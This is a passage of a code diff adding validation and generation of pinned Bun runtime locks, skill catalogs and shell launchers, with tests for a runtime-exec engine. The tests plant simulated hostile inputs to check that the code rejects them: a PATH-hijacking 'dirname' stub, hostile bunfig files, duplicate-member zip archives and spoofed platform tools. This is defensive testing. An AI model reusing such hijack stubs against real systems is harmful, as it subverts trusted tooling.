`${JSON.stringify(catalog, null, 2)}\n`, + ) + return fixtureRoot +} + +test("the unmodified lock and catalog validate", () => { + expect(() => loadSkillCatalog(custodyFixture(() => {}))).not.toThrow() +}) + +test("renders one custody launcher for every catalog skill", () => { + const files = renderRuntimeCustodyFiles(root) + const launchers = files + .filter((file) => file.path.startsWith("plugin/bin/")) + .map((file) => file.path) + + expect(launchers).toEqual([ + "plugin/bin/hello-world", + "plugin/bin/skill-a", + "plugin/bin/skill-b", + ]) + for (const launcher of files.filter((file) => file.path.startsWith("plugin/bin/"))) { + expect(launcher.contents).toContain('exec "$plugin_root/runtime/runtime-exec" run') + } +}) + +test("generated launchers resolve the plugin without trusting PATH", () => { + const fixtureRoot = mkdtempSync(join(tmpdir(), "custody-launcher-")) + temporaryRoots.push(fixtureRoot) + const pluginRoot = join(fixtureRoot, "plugin") + const binDirectory = join(pluginRoot, "bin") + const runtimeDirectory = join(pluginRoot, "runtime") + const hostileBin = join(fixtureRoot, "hostile-bin") + mkdirSync(binDirectory, { recursive: true }) + mkdirSync(runtimeDirectory, { recursive: true }) + mkdirSync(hostileBin) + + const launcher = renderRuntimeCustodyFiles(root).find( + (file) => file.path === "plugin/bin/skill-a", + ) + if (!launcher) throw new Error("skill-a launcher was not rendered") + const launcherPath = join(binDirectory, "skill-a") + writeFileSync(launcherPath, launcher.contents) + chmodSync(launcherPath, 0o755) + + const enginePath = join(runtimeDirectory, "runtime-exec") + writeFileSync(enginePath, '#!/bin/sh\nprintf "%s\\n" "$*"\n') + chmodSync(enginePath, 0o755) + const sentinelPath = join(fixtureRoot, "dirname-ran") + const hostileDirname = join(hostileBin, "dirname") + writeFileSync(hostileDirname, `#!/bin/sh\n: >'${sentinelPath}'\nexit 99\n`) + chmodSync(hostileDirname, 0o755) + + const result = Bun.spawnSync({ + cmd: [launcherPath], + env: { PATH: hostileBin }, + stdout: "pipe", + stderr: "pipe", + }) + expect(result.exitCode).toBe(0) + expect(result.stdout.toString().trim()).toBe("run skill-a --") + expect(existsSync(sentinelPath)).toBe(false) +}) + +test("rejects a runtime lock schema version other than 1", () => { + const fixtureRoot = custodyFixture((lock) => { + lock.schemaVersion = 2 + }) + expect(() => loadSkillCatalog(fixtureRoot)).toThrow(/runtime lock schemaVersion must be 1/) +}) + +test("rejects a runtime lock carrying a profile besides bun", () => { + const fixtureRoot = custodyFixture((lock) => { + lock.profiles.deno = lock.profiles.bun + }) + expect(() => loadSkillCatalog(fixtureRoot)).toThrow( + /runtime lock must contain only the bun profile/, + ) +}) + +for (const [shape, value] of [ + ["null", null], + ["array", []], +] as const) { + test(`rejects runtime lock profiles with ${shape} shape`, () => { + const fixtureRoot = custodyFixture((lock) => { + lock.profiles = value + }) + expect(() => loadSkillCatalog(fixtureRoot)).toThrow( + /runtime lock profiles must be an object/, + ) + }) +} + +test("rejects a runtime lock version that is not an exact semantic version", () => { + const fixtureRoot = custodyFixture((lock) => { + lock.profiles.bun.version = "^1.3.14" + }) + expect(() => loadSkillCatalog(fixtureRoot)).toThrow( + /runtime lock bun version must be an exact semantic version/, + ) +}) + +for (const [shape, value] of [ + ["null", null], + ["array", []], +] as const) { + test(`rejects runtime lock assets with ${shape} shape`, () => { + const fixtureRoot = custodyFixture((lock) => { + lock.profiles.bun.assets = value + }) + expect(() => loadSkillCatalog(fixtureRoot)).toThrow( + /runtime lock bun assets must be an object/, + ) + }) +} + +test("rejects a runtime lock missing one of the four supported platforms", () => { + const fixtureRoot = custodyFixture((lock) => { + delete lock.profiles.bun.assets["linux-x64"] + }) + expect(() => loadSkillCatalog(fixtureRoot)).toThrow( + /runtime lock must contain exactly the four supported platforms/, + ) +}) + +test("rejects a runtime lock carrying an unsupported platform", () => { + const fixtureRoot = custodyFixture((lock) => { + lock.profiles.bun.assets["windows-x64"] = lock.profiles.bun.assets["linux-x64"] + }) + expect(() => loadSkillCatalog(fixtureRoot)).toThrow( + /runtime lock must contain exactly the four supported platforms/, + ) +}) + +test("rejects non-positive archive bytes in asset metadata", () => { + const fixtureRoot = custodyFixture((lock) => { + lock.profiles.bun.assets["darwin-arm64"].archiveBytes = 0 + }) + expect(() => loadSkillCatalog(fixtureRoot)).toThrow( + /runtime lock asset metadata is invalid for darwin-arm64/, + ) +}) + +test("rejects a malformed executable digest in asset metadata", () => { + const fixtureRoot = custodyFixture((lock) => { + lock.profiles.bun.assets["linux-arm64"].executableSha256 = "ABC123" + }) + expect(() => loadSkillCatalog(fixtureRoot)).toThrow( + /runtime lock asset metadata is invalid for linux-arm64/, + ) +}) + +test("rejects an archive name that departs from the upstream identity", () => { + const fixtureRoot = custodyFixture((lock) => { + lock.profiles.bun.assets["darwin-x64"].archiveName = "bun-custom.zip" + }) + expect(() => loadSkillCatalog(fixtureRoot)).toThrow( + /runtime lock asset identity is invalid for darwin-x64/, + ) +}) + +test("rejects a download URL that departs from the upstream identity", () => { + const fixtureRoot = custodyFixture((lock) => { + lock.profiles.bun.assets["linux-x64"].url = "https://example.invalid/bun-linux-x64.zip" + }) + expect(() => loadSkillCatalog(fixtureRoot)).toThrow( + /runtime lock asset identity is invalid for linux-x64/, + ) +}) + +test("rejects an executable path that departs from the upstream identity", () => { + const fixtureRoot = custodyFixture((lock) => { + lock.profiles.bun.assets["linux-x64"].executablePath = "bin/bun" + }) + expect(() => loadSkillCatalog(fixtureRoot)).toThrow( + /runtime lock asset identity is invalid for linux-x64/, + ) +}) + +test("rejects a skill catalog schema version other than 1", () => { + const fixtureRoot = custodyFixture((_lock, catalog) => { + catalog.schemaVersion = 0 + }) + expect(() => loadSkillCatalog(fixtureRoot)).toThrow(/skill catalog schemaVersion must be 1/) +}) + +test("rejects an empty skill catalog", () => { + const fixtureRoot = custodyFixture((_lock, catalog) => { + catalog.skills = {} + }) + expect(() => loadSkillCatalog(fixtureRoot)).toThrow(/skill catalog must not be empty/) +}) + +for (const [shape, value] of [ + ["null", null], + ["array", []], +] as const) { + test(`rejects skill catalog skills with ${shape} shape`, () => { + const fixtureRoot = custodyFixture((_lock, catalog) => { + catalog.skills = value + }) + expect(() => loadSkillCatalog(fixtureRoot)).toThrow( + /skill catalog skills must be an object/, + ) + }) +} + +test("rejects an invalid skill catalog id", () => { + const fixtureRoot = custodyFixture((_lock, catalog) => { + catalog.skills.Bad_Id = catalog.skills["hello-world"] + }) + expect(() => loadSkillCatalog(fixtureRoot)).toThrow(/skill catalog id is invalid: Bad_Id/) +}) + +test("rejects a skill entry outside the runtime payload shape", () => { + const fixtureRoot = custodyFixture((_lock, catalog) => { + catalog.skills["hello-world"].entry = "../outside.js" + }) + expect(() => loadSkillCatalog(fixtureRoot)).toThrow( + /skill catalog entry is invalid for hello-world/, + ) +}) + +test("rejects a skill runtime profile absent from the lock", () => { + const fixtureRoot = custodyFixture((_lock, catalog) => { + catalog.skills["hello-world"].runtimeProfile = "node" + }) + expect(() => loadSkillCatalog(fixtureRoot)).toThrow( + /skill catalog profile is unknown for hello-world/, + ) +}) + +test("rejects an inherited runtime profile key", () => { + const fixtureRoot = custodyFixture((_lock, catalog) => { + catalog.skills["hello-world"].runtimeProfile = "constructor" + }) + expect(() => loadSkillCatalog(fixtureRoot)).toThrow( + /skill catalog profile is unknown for hello-world/, + ) +}) + +test("rejects a skill workspace outside the packages shape", () => { + const fixtureRoot = custodyFixture((_lock, catalog) => { + catalog.skills["skill-a"].workspace = "../elsewhere/skill-a" + }) + expect(() => loadSkillCatalog(fixtureRoot)).toThrow( + /skill catalog workspace is invalid for skill-a/, + ) +}) diff --git a/scripts/runtime-custody-config.ts b/scripts/runtime-custody-config.ts new file mode 100644 index 0000000..5f900c7 --- /dev/null +++ b/scripts/runtime-custody-config.ts @@ -0,0 +1,296 @@ +import { chmodSync, existsSync, readFileSync, statSync, writeFileSync } from "node:fs" +import { join } from "node:path" + +import type { GeneratedFile } from "./plugin-config" +import { compareCodeUnits } from "./plugin-files" + +interface RuntimeAsset { + archiveName: string + url: string + archiveBytes: number + archiveSha256: string + executablePath: string + executableBytes: number + executableSha256: string +} + +interface RuntimeProfile { + version: string + assets: Record +} + +interface RuntimeLock { + schemaVersion: number + profiles: Record +} + +/** One logical skill registration owning entry, runtime, and optional workspace identity. */ +export interface SkillCatalogEntry { + /** Logical payload-relative bundle identity. */ + entry: string + /** Runtime profile key that must exist in the runtime lock. */ + runtimeProfile: string + /** Repository-relative workspace package that authors this skill's bundle. */ + workspace?: string +} + +/** The one logical skill catalog owning every runtime-custody skill registration. */ +export interface SkillCatalog { + schemaVersion: number + skills: Record +} + +export const SUPPORTED_RUNTIME_PLATFORMS = [ + "darwin-arm64", + "darwin-x64", + "linux-arm64", + "linux-x64", +] as const +const lowercaseSha256 = /^[a-f0-9]{64}$/ +const semanticVersion = /^(0|[1-9]\d*)\.(0|[1-9]\d*)\.(0|[1-9]\d*)$/ + +function isRecord(value: unknown): value is Record { + return typeof value === "object" && value !== null && !Array.isArray(value) +} + +/** Single-quote a projection value, rejecting values that cannot be quoted safely. */ +export function shellQuote(value: string): string { + if (value.includes("'")) throw new Error("runtime projection values must not contain single quotes") + return `'${value}'` +} + +function loadJson(path: string): T { + return JSON.parse(readFileSync(path, "utf8")) as T +} + +function validateRuntimeLock(lock: RuntimeLock): void { + if (lock.schemaVersion !== 1) throw new Error("runtime lock schemaVersion must be 1") + if (!isRecord(lock.profiles)) throw new Error("runtime lock profiles must be an object") + if (Object.keys(lock.profiles).join(",") !== "bun") { + throw new Error("runtime lock must contain only the bun profile") + } + const profile = lock.profiles.bun + if (!isRecord(profile) || typeof profile.version !== "string" || !semanticVersion.test(profile.version)) { + throw new Error("runtime lock bun version must be an exact semantic version") + } + if (!isRecord(profile.assets)) throw new Error("runtime lock bun assets must be an object") + if ( + Object.keys(profile.assets).sort(compareCodeUnits).join(",") !== + [...SUPPORTED_RUNTIME_PLATFORMS].sort(compareCodeUnits).join(",") + ) { + throw new Error("runtime lock must contain exactly the four supported platforms") + } + for (const platform of SUPPORTED_RUNTIME_PLATFORMS) { + const asset = profile.assets[platform] + if ( + !asset || + !Number.isSafeInteger(asset.archiveBytes) || + asset.archiveBytes <= 0 || + !Number.isSafeInteger(asset.executableBytes) || + asset.executableBytes <= 0 || + !lowercaseSha256.test(asset.archiveSha256) || + !lowercaseSha256.test(asset.executableSha256) + ) { + throw new Error(`runtime lock asset metadata is invalid for ${platform}`) + } + const upstreamPlatform = platform.replace("arm64", "aarch64") + const upstreamAsset = platform.endsWith("-x64") + ? `${upstreamPlatform}-baseline` + : upstreamPlatform + const expectedArchive = `bun-${upstreamAsset}.zip` + const expectedUrl = + `https://github.com/oven-sh/bun/releases/download/bun-v${profile.version}/${expectedArchive}` + if ( + asset.archiveName !== expectedArchive || + asset.url !== expectedUrl || + asset.executablePath !== `bun-${upstreamAsset}/bun` + ) { + throw new Error(`runtime lock asset identity is invalid for ${platform}`) + } + } +} + +function validateSkillCatalog(catalog: SkillCatalog, lock: RuntimeLock): void { + if (catalog.schemaVersion !== 1) throw new Error("skill catalog schemaVersion must be 1") + if (!isRecord(catalog.skills)) throw new Error("skill catalog skills must be an object") + if (Object.keys(catalog.skills).length === 0) throw new Error("skill catalog must not be empty") + for (const [skillId, skill] of Object.entries(catalog.skills)) { + if (!/^[a-z0-9]+(?:-[a-z0-9]+)*$/.test(skillId)) { + throw new Error(`skill catalog id is invalid: ${skillId}`) + } + if (!/^runtime\/[a-z0-9]+(?:-[a-z0-9]+)*\.js$/.test(skill.entry)) { + throw new Error(`skill catalog entry is invalid for ${skillId}`) + } + if (!Object.hasOwn(lock.profiles, skill.runtimeProfile)) { + throw new Error(`skill catalog profile is unknown for ${skillId}`) + } + if ( + skill.workspace !== undefined && + !/^packages\/[a-z0-9]+(?:-[a-z0-9]+)*$/.test(skill.workspace) + ) { + throw new Error(`skill catalog workspace is invalid for ${skillId}`) + } + } +} + +/** + * Load and validate the one logical skill catalog against the runtime lock. + * + * @param root - Plugin Repository root containing canonical runtime custody JSON + * @returns The validated closed skill catalog + * @throws {Error} When catalog or lock data violates the closed production contract + * + * @example + * ```ts + * const catalog = loadSkillCatalog(process.cwd()) + * ``` + */ +export function loadSkillCatalog(root: string): SkillCatalog { + return loadRuntimeCustodyConfig(root).catalog +} + +function loadRuntimeCustodyConfig(root: string): { + lock: RuntimeLock + catalog: SkillCatalog +} { + const lock = loadJson(join(root, "runtime", "runtime.lock.json")) + const catalog = loadJson(join(root, "runtime", "skill-catalog.json")) + validateRuntimeLock(lock) + validateSkillCatalog(catalog, lock) + return { lock, catalog } +} + +function renderLockProjection(lock: RuntimeLock): string { + const profile = lock.profiles.bun + const cases = SUPPORTED_RUNTIME_PLATFORMS.map((platform) => { + const asset = profile.assets[platform] + return ` ${platform}) + RUNTIME_ASSET_ARCHIVE_NAME=${shellQuote(asset.archiveName)} + RUNTIME_ASSET_URL=${shellQuote(asset.url)} + RUNTIME_ASSET_ARCHIVE_BYTES=${shellQuote(String(asset.archiveBytes))} + RUNTIME_ASSET_ARCHIVE_SHA256=${shellQuote(asset.archiveSha256)} + RUNTIME_ASSET_EXECUTABLE_PATH=${shellQuote(asset.executablePath)} + RUNTIME_ASSET_EXECUTABLE_BYTES=${shellQuote(String(asset.executableBytes))} + RUNTIME_ASSET_EXECUTABLE_SHA256=${shellQuote(asset.executableSha256)} + ;;` + }) + return `#!/bin/sh +# Generated from runtime/runtime.lock.json. Edit the source, then run bun run generate. +RUNTIME_LOCK_PROFILE='bun' +RUNTIME_LOCK_VERSION=${shellQuote(profile.version)} + +runtime_lock_select_asset() { + case "$1" in +${cases.join("\n")} + *) return 1 ;; + esac +} +` +} + +function renderCatalogProjection(catalog: SkillCatalog): string { + const cases = Object.entries(catalog.skills) + .sort(([left], [right]) => compareCodeUnits(left, right)) + .map( + ([skillId, skill]) => ` ${skillId}) + RUNTIME_SKILL_ENTRY=${shellQuote(skill.entry)} + RUNTIME_SKILL_PROFILE=${shellQuote(skill.runtimeProfile)} + ;;`, + ) + return `#!/bin/sh +# Generated from runtime/skill-catalog.json. Edit the source, then run bun run generate. +runtime_catalog_select_skill() { + case "$1" in +${cases.join("\n")} + *) return 1 ;; + esac +} +` +} + +function renderLauncher(skillId: string): string { + return `#!/bin/sh +# Generated from runtime/skill-catalog.json. Edit the source, then run bun run generate. +set -eu +case "$0" in +*/*) launcher_dir=\${0%/*} ;; +*) launcher_dir=. ;; +esac +plugin_root=$(CDPATH='' cd -- "$launcher_dir/.." && pwd -P) +exec "$plugin_root/runtime/runtime-exec" run ${skillId} -- "$@" +` +} + +/** + * Render every runtime-custody projection from the reviewed lock and closed skill catalog. + * + * @param root - Plugin Repository root containing canonical runtime custody JSON + * @returns Deterministic payload files owned by the canonical runtime sources + * @throws {Error} When lock or catalog data violates the closed production contract + * + * @example + * ```ts + * const files = renderRuntimeCustodyFiles(process.cwd()) + * ``` + */ +export function renderRuntimeCustodyFiles(root: string): GeneratedFile[] { + const { lock, catalog } = loadRuntimeCustodyConfig(root) + return [ + { + path: "plugin/runtime/runtime-lock.sh", + contents: renderLockProjection(lock), + }, + { + path: "plugin/runtime/skill-catalog.sh", + contents: renderCatalogProjection(catalog), + }, + ...Object.keys(catalog.skills) + .sort(compareCodeUnits) + .map((skillId) => ({ + path: `plugin/bin/${skillId}`, + contents: renderLauncher(skillId), + })), + ] +} + +/** + * Write runtime-custody projections and preserve launcher executability. + * + * @param root - Plugin Repository root receiving generated payload files + * @returns Generated files written to the payload + * + * @example + * ```ts + * writeRuntimeCustodyFiles(process.cwd()) + * ``` + */ +export function writeRuntimeCustodyFiles(root: string): GeneratedFile[] { + const files = renderRuntimeCustodyFiles(root) + for (const file of files) { + const path = join(root, file.path) + writeFileSync(path, file.contents) + if (file.path.startsWith("plugin/bin/")) chmodSync(path, 0o755) + } + return files +} + +/** + * Find runtime-custody projections whose bytes or executable mode drifted. + * + * @param root - Plugin Repository root containing checked-in generated payload files + * @returns Repository-relative paths that need regeneration + * + * @example + * ```ts + * const drifted = checkRuntimeCustodyFiles(process.cwd()) + * ``` + */ +export function checkRuntimeCustodyFiles(root: string): string[] { + return renderRuntimeCustodyFiles(root) + .filter((file) => { + const path = join(root, file.path) + if (!existsSync(path) || readFileSync(path, "utf8") !== file.contents) return true + return file.path.startsWith("plugin/bin/") && (statSync(path).mode & 0o111) === 0 + }) + .map((file) => file.path) +} diff --git a/scripts/runtime-custody-exec.test.ts b/scripts/runtime-custody-exec.test.ts new file mode 100644 index 0000000..8ddff9c --- /dev/null +++ b/scripts/runtime-custody-exec.test.ts @@ -0,0 +1,1704 @@ +import { + chmodSync, + existsSync, + lstatSync, + mkdirSync, + mkdtempSync, + readdirSync, + readFileSync, + realpathSync, + rmSync, + statSync, + symlinkSync, + utimesSync, + writeFileSync, +} from "node:fs" +import { tmpdir } from "node:os" +import { join } from "node:path" + +import { afterEach, expect, test } from "bun:test" + +const root = new URL("..", import.meta.url).pathname.replace(/\/$/, "") +const engineSourcePath = join(root, "plugin", "runtime", "runtime-exec") +const FIXTURE_BUN_VERSION = "9.9.9" + +const temporaryRoots: string[] = [] + +afterEach(() => { + for (const temporaryRoot of temporaryRoots.splice(0)) { + rmSync(temporaryRoot, { recursive: true, force: true }) + } +}) + +function temporaryDirectory(prefix: string): string { + const directory = realpathSync(mkdtempSync(join(tmpdir(), prefix))) + temporaryRoots.push(directory) + return directory +} + +function sha256Hex(contents: Uint8Array | string): string { + return new Bun.CryptoHasher("sha256").update(contents).digest("hex") +} + +// --- minimal stored (uncompressed) zip writer ------------------------------- +// Lets fixtures create archives deterministically, including hostile shapes +// (duplicate members) that stock zip tools refuse to produce. + +const crcTable = (() => { + const table = new Uint32Array(256) + for (let n = 0; n < 256; n++) { + let c = n + for (let k = 0; k < 8; k++) c = c & 1 ? 0xedb88320 ^ (c >>> 1) : c >>> 1 + table[n] = c >>> 0 + } + return table +})() + +function crc32(data: Uint8Array): number { + let c = 0xffffffff + for (let i = 0; i < data.length; i++) c = (crcTable[(c ^ data[i]) & 0xff] ^ (c >>> 8)) >>> 0 + return (c ^ 0xffffffff) >>> 0 +} + +function storedZip(entries: Array<{ name: string; data: Uint8Array }>): Uint8Array { + const encoder = new TextEncoder() + const chunks: Uint8Array[] = [] + const central: Uint8Array[] = [] + let offset = 0 + for (const entry of entries) { + const name = encoder.encode(entry.name) + const crc = crc32(entry.data) + const local = new DataView(new ArrayBuffer(30)) + local.setUint32(0, 0x04034b50, true) + local.setUint16(4, 20, true) + local.setUint16(10, 0, true) + local.setUint16(12, 0x21, true) + local.setUint32(14, crc, true) + local.setUint32(18, entry.data.length, true) + local.setUint32(22, entry.data.length, true) + local.setUint16(26, name.length, true) + chunks.push(new Uint8Array(local.buffer), name, entry.data) + const header = new DataView(new ArrayBuffer(46)) + header.setUint32(0, 0x02014b50, true) + header.setUint16(4, 20, true) + header.setUint16(6, 20, true) + header.setUint16(14, 0x21, true) + header.setUint32(16, crc, true) + header.setUint32(20, entry.data.length, true) + header.setUint32(24, entry.data.length, true) + header.setUint16(28, name.length, true) + header.setUint32(42, offset, true) + central.push(new Uint8Array(header.buffer), name) + offset += 30 + name.length + entry.data.length + } + const centralSize = central.reduce((sum, part) => sum + part.length, 0) + const end = new DataView(new ArrayBuffer(22)) + end.setUint32(0, 0x06054b50, true) + end.setUint16(8, entries.length, true) + end.setUint16(10, entries.length, true) + end.setUint32(12, centralSize, true) + end.setUint32(16, offset, true) + const parts = [...chunks, ...central, new Uint8Array(end.buffer)] + const total = new Uint8Array(parts.reduce((sum, part) => sum + part.length, 0)) + let cursor = 0 + for (const part of parts) { + total.set(part, cursor) + cursor += part.length + } + return total +} + +// --- fixture plugin tree ---------------------------------------------------- + +interface FixtureLock { + version: string + url: string + archiveName: string + archiveBytes: number + archiveSha256: string + executablePath: string + executableBytes: number + executableSha256: string +} + +interface Fixture { + root: string + pluginRoot: string + runtimeDir: string + engine: string + cacheDir: string + storeRoot: string + blobDir: string + blobPath: string + zipPath: string + lock: FixtureLock + bundles: Record + env: Record +} + +interface FixtureOptions { + bunVersion?: string + lockVersion?: string + member?: string + zipEntries?: Array<{ name: string; data: Uint8Array }> + lock?: Partial + url?: string + hostToolDirs?: string + extraCatalogSkills?: string[] + allowFileUrlsForTests?: boolean +} + +function fixtureBunScript(version: string): string { + return `#!/bin/sh +flags='' +while [ $# -gt 0 ]; do + case "$1" in + --version) + [ -z "\${BUN_OPTIONS-}" ] || exit 97 + case "$flags" in *--config=/dev/null*) ;; *) [ ! -f ./bunfig.toml ] || exit 98 ;; esac + printf '%s\\n' '${version}' + exit 0 + ;; + --*) flags="$flags $1"; shift ;; + *) break ;; + esac +done +if [ $# -lt 1 ]; then echo 'fixture bun: missing script' >&2; exit 64; fi +case "$flags" in +*--config=/dev/null*) ;; +*) + if [ -f "\${HOME-}/.bunfig.toml" ] || + { [ -n "\${XDG_CONFIG_HOME-}" ] && [ -f "$XDG_CONFIG_HOME/.bunfig.toml" ]; } || + [ -f ./bunfig.toml ]; then + echo 'HOSTILE_BUNFIG_RAN' >&2 + exit 98 + fi + ;; +esac +script=$1 +shift +FIXTURE_BUN_FLAGS=$flags +export FIXTURE_BUN_FLAGS +exec /bin/sh "$script" "$@" +` +} + +function fixtureBundleScript(skillId: string): string { + return `#!/bin/sh +if [ "\${1-}" = "exit7" ]; then + printf 'bundle-out\\n' + printf 'bundle-err\\n' >&2 + exit 7 +fi +printf 'skill=${skillId}\\n' +printf 'args=%s\\n' "$*" +printf 'umask=%s\\n' "$(umask)" +printf 'cwd=%s\\n' "$PWD" +printf 'BUN_OPTIONS=%s\\n' "\${BUN_OPTIONS-unset}" +printf 'NODE_OPTIONS=%s\\n' "\${NODE_OPTIONS-unset}" +printf 'DO_NOT_TRACK=%s\\n' "\${DO_NOT_TRACK-unset}" +printf 'PATH=%s\\n' "\${PATH-unset}" +printf 'bunflags=%s\\n' "\${FIXTURE_BUN_FLAGS-unset}" +` +} + +function renderFixtureLock(lock: FixtureLock): string { + const platforms = ["darwin-arm64", "darwin-x64", "linux-arm64", "linux-x64"] + const cases = platforms + .map( + (platform) => ` ${platform}) + RUNTIME_ASSET_ARCHIVE_NAME='${lock.archiveName}' + RUNTIME_ASSET_URL='${lock.url}' + RUNTIME_ASSET_ARCHIVE_BYTES='${lock.archiveBytes}' + RUNTIME_ASSET_ARCHIVE_SHA256='${lock.archiveSha256}' + RUNTIME_ASSET_EXECUTABLE_PATH='${lock.executablePath}' + RUNTIME_ASSET_EXECUTABLE_BYTES='${lock.executableBytes}' + RUNTIME_ASSET_EXECUTABLE_SHA256='${lock.executableSha256}' + ;;`, + ) + .join("\n") + return `#!/bin/sh +RUNTIME_LOCK_PROFILE='bun' +RUNTIME_LOCK_VERSION='${lock.version}' + +runtime_lock_select_asset() { + case "$1" in +${cases} + *) return 1 ;; + esac +} +` +} + +function renderFixtureCatalog(skillIds: string[]): string { + const cases = skillIds + .map( + (skillId) => ` ${skillId}) + RUNTIME_SKILL_ENTRY='runtime/${skillId}.js' + RUNTIME_SKILL_PROFILE='bun' + ;;`, + ) + .join("\n") + return `#!/bin/sh +runtime_catalog_select_skill() { + case "$1" in +${cases} + *) return 1 ;; + esac +} +` +} + +function renderFixtureInventory( + bundles: Record, +): string { + const cases = Object.keys(bundles) + .sort() + .map( + (skillId) => ` ${skillId}) + RUNTIME_BUNDLE_PATH='${bundles[skillId].path}' + RUNTIME_BUNDLE_BYTES='${bundles[skillId].bytes}' + RUNTIME_BUNDLE_SHA256='${bundles[skillId].sha256}' + ;;`, + ) + .join("\n") + return `#!/bin/sh +runtime_inventory_select_bundle() { + case "$1" in +${cases} + *) return 1 ;; + esac +} +` +} + +function writeFixtureLock(fixture: Fixture, lock: FixtureLock): void { + writeFileSync(join(fixture.runtimeDir, "runtime-lock.sh"), renderFixtureLock(lock)) +} + +function makeFixture(options: FixtureOptions = {}): Fixture { + const fixtureRoot = temporaryDirectory("runtime-exec-fixture-") + const pluginRoot = join(fixtureRoot, "plugin") + const runtimeDir = join(pluginRoot, "runtime") + mkdirSync(runtimeDir, { recursive: true }) + + const bunVersion = options.bunVersion ?? FIXTURE_BUN_VERSION + const member = options.member ?? "bun-fixture/bun" + const bunBytes = new TextEncoder().encode(fixtureBunScript(bunVersion)) + const entries = options.zipEntries ?? [{ name: member, data: bunBytes }] + const zipBytes = storedZip(entries) + const assetDir = join(fixtureRoot, "assets") + mkdirSync(assetDir) + const zipPath = join(assetDir, "bun-fixture.zip") + writeFileSync(zipPath, zipBytes) + + const lock: FixtureLock = { + version: options.lockVersion ?? bunVersion, + url: options.url ?? `file://${zipPath}`, + archiveName: "bun-fixture.zip", + archiveBytes: zipBytes.length, + archiveSha256: sha256Hex(zipBytes), + executablePath: member, + executableBytes: bunBytes.length, + executableSha256: sha256Hex(bunBytes), + ...options.lock, + } + writeFileSync(join(runtimeDir, "runtime-lock.sh"), renderFixtureLock(lock)) + + const bundles: Fixture["bundles"] = {} + for (const skillId of ["skill-a", "skill-b"]) { + const text = fixtureBundleScript(skillId) + const digest = sha256Hex(text) + const fileName = `${skillId}-${digest.slice(0, 16)}.js` + writeFileSync(join(runtimeDir, fileName), text) + bundles[skillId] = { + path: `runtime/${fileName}`, + bytes: Buffer.byteLength(text), + sha256: digest, + } + } + const catalogSkills = ["skill-a", "skill-b", ...(options.extraCatalogSkills ?? [])] + writeFileSync(join(runtimeDir, "skill-catalog.sh"), renderFixtureCatalog(catalogSkills)) + writeFileSync(join(runtimeDir, "bundle-inventory.sh"), renderFixtureInventory(bundles)) + + let engineText = readFileSync(engineSourcePath, "utf8") + if (options.allowFileUrlsForTests !== false) { + engineText = engineText.replace(/^test_allow_file_urls=0$/m, "test_allow_file_urls=1") + } + if (options.hostToolDirs) { + engineText = engineText.replace( + /^host_tool_dirs='[^']*'$/m, + `host_tool_dirs='${options.hostToolDirs}'`, + ) + } + const engine = join(runtimeDir, "runtime-exec") + writeFileSync(engine, engineText) + chmodSync(engine, 0o755) + + const cacheDir = join(fixtureRoot, "cache") + mkdirSync(cacheDir) + const storeRoot = join(cacheDir, "agent-plugin-runtime") + const blobDir = join(storeRoot, "bun", lock.executableSha256) + + return { + root: fixtureRoot, + pluginRoot, + runtimeDir, + engine, + cacheDir, + storeRoot, + blobDir, + blobPath: join(blobDir, "bun"), + zipPath, + lock, + bundles, + env: { + HOME: fixtureRoot, + XDG_CACHE_HOME: cacheDir, + PATH: "/nonexistent-hostile-path", + }, + } +} + +function runEngine( + fixture: Fixture, + args: string[], + options: { env?: Record; cwd?: string } = {}, +): ReturnType { + return Bun.spawnSync({ + cmd: [fixture.engine, ...args], + cwd: options.cwd ?? fixture.root, + env: { ...fixture.env, ...options.env }, + stdout: "pipe", + stderr: "pipe", + }) +} + +function readEnvelope(result: ReturnType): Record { + const stdout = result.stdout.toString().trim() + expect(stdout.split("\n")).toHaveLength(1) + const envelope = JSON.parse(stdout) as Record + expect(envelope.schemaVersion).toBe(1) + expect(typeof envelope.code).toBe("string") + expect(typeof envelope.nextAction).toBe("string") + expect(Array.isArray(envelope.sideEffects)).toBe(true) + expect(typeof envelope.retrySafe).toBe("boolean") + return envelope +} + +const engineToolNames = [ + "uname", + "getconf", + "ls", + "id", + "wc", + "mkdir", + "rm", + "mv", + "ln", + "chmod", + "dd", + "head", + "curl", + "unzip", + "ps", + "find", + "awk", + "sha256sum", + "shasum", +] + +function makeToolDir(overrides: Record = {}): string { + const toolDir = join(temporaryDirectory("fixture-tools-"), "bin") + mkdirSync(toolDir) + for (const name of engineToolNames) { + if (name in overrides) { + const body = overrides[name] + if (body === null) continue + writeFileSync(join(toolDir, name), body) + } else { + const real = Bun.which(name) + if (!real) continue + writeFileSync(join(toolDir, name), `#!/bin/sh\nexec ${real} "$@"\n`) + } + chmodSync(join(toolDir, name), 0o755) + } + return toolDir +} + +// --- AE4: missing runtime --------------------------------------------------- + +test("fresh run reports BUN_MISSING as one JSON envelope, exit 20, custody-read-only", () => { + const fixture = makeFixture() + const result = runEngine(fixture, ["run", "skill-a"]) + expect(result.exitCode).toBe(20) + const envelope = readEnvelope(result) + expect(envelope.ok).toBe(false) + expect(envelope.code).toBe("BUN_MISSING") + expect(envelope.sideEffects).toEqual([]) + expect(envelope.retrySafe).toBe(true) + expect(String(envelope.nextAction)).toContain("repair --apply") + // run never mutates the cache: nothing appears under the store root + expect(readdirSync(fixture.cacheDir)).toEqual([]) + // redaction: no private absolute fixture path leaks into the envelope + expect(result.stdout.toString()).not.toContain(fixture.root) +}) + +// --- AE12: unsupported platform fails closed -------------------------------- + +test("unsupported platform fails closed with one envelope and exit 21", () => { + const toolDir = makeToolDir({ + uname: `#!/bin/sh\ncase "\${1-}" in -m) echo x86_64 ;; *) echo Windows_NT ;; esac\n`, + }) + const fixture = makeFixture({ hostToolDirs: toolDir }) + const result = runEngine(fixture, ["run", "skill-a"]) + expect(result.exitCode).toBe(21) + const envelope = readEnvelope(result) + expect(envelope.ok).toBe(false) + expect(envelope.code).toBe("UNSUPPORTED_PLATFORM") + const apply = runEngine(fixture, ["repair", "--apply"]) + expect(apply.exitCode).toBe(21) + expect(readEnvelope(apply).code).toBe("UNSUPPORTED_PLATFORM") + expect(readdirSync(fixture.cacheDir)).toEqual([]) +}) + +test("musl Linux fails closed before cache or network work", () => { + const toolDir = makeToolDir({ + uname: `#!/bin/sh\ncase "\${1-}" in -m) echo x86_64 ;; *) echo Linux ;; esac\n`, + getconf: "#!/bin/sh\necho 'musl libc'\n", + }) + const fixture = makeFixture({ hostToolDirs: toolDir }) + for (const args of [["run", "skill-a"], ["repair"], ["repair", "--apply"]]) { + const result = runEngine(fixture, args) + expect(result.exitCode).toBe(21) + 